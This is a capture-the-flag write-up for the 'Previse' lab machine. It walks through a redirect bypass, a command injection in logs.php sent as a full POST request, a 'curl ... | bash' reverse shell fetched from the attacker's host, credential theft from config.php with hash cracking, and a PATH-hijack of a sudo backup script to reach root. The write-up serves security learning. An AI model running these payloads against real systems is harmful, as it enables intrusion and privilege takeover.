Previse
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.95.185
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 11:41 EDT
Nmap scan report for 10.129.95.185
Host is up (0.0072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
File Storage
Port 80 had a login page to some kind of file manager:

This wasn't vulnerable to SQL Injection or anything. I tried visiting index.php
, but was redirected back to the login.php
. When the traffic is inspectedi nBurp, I noticed that index.php
was still loaded.

This means that we can view the pages without logging in since they are loaded before we are redirected. When I used Burp's Match and Replace function to change the 302 Found to 200 OK, I could load the page normally:

Within the Accounts tab, we can add a user.

So I created one and we can remove the Burpsuite filtering. Within the Files tab, there's a backup of the entire site uploaded.

We can download this file and analyse the source code back on my machine. Here's the logs.php
.
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
It seems that there's an exec
function used, and the delim
parameter is not sanitised when being passed in, thus creating a command injection vulnerability. We can send this request to confirm we have RCE.
POST /logs.php HTTP/1.1
Host: 10.129.95.185
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://10.129.95.185
Connection: close
Referer: http://10.129.95.185/file_logs.php
Cookie: PHPSESSID=k0vg9j4gs59e7q9qokpv6rhugi
Upgrade-Insecure-Requests: 1
delim=comma; ping -c 1 10.10.14.13

Now, we can get a reverse shell by using curl http://10.10.14.13/shell.sh|bash
.

Privilege Escalation
M4lwhere Creds
Within the /var/www/html
file, there's a config.php
file.
www-data@previse:/var/www/html$ cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
We can login to the mysql
database using these credentials. Within it, we can find the credentials for the file system.
mysql> select * from accounts\G
*************************** 1. row ***************************
id: 1
username: m4lwhere
password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
created_at: 2021-05-27 18:18:36
*************************** 2. row ***************************
id: 2
username: test123
password: $1$🧂llol$sP8qi2I.K6urjPuzdGizl1
created_at: 2023-05-06 09:26:49
2 rows in set (0.00 sec)
Using hashcat
, we can crack this easily.
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
We can then su
to m4lwhere
.

Sudo Privileges
We can then enumerate sudo
privileges.
m4lwhere@previse:/var/www/html$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Here's the script:
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
This script was running gzip
without the full path, so we can do some PATH injection. Create a script called gzip
that makes /bin/bash
an SUID binary via chmod u+s /bin/bash
, then make it executable.
Afterwards, change the PATH variable to include /tmp
first and run the script as root.
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh
It's easy to get a root
shell afterwards.
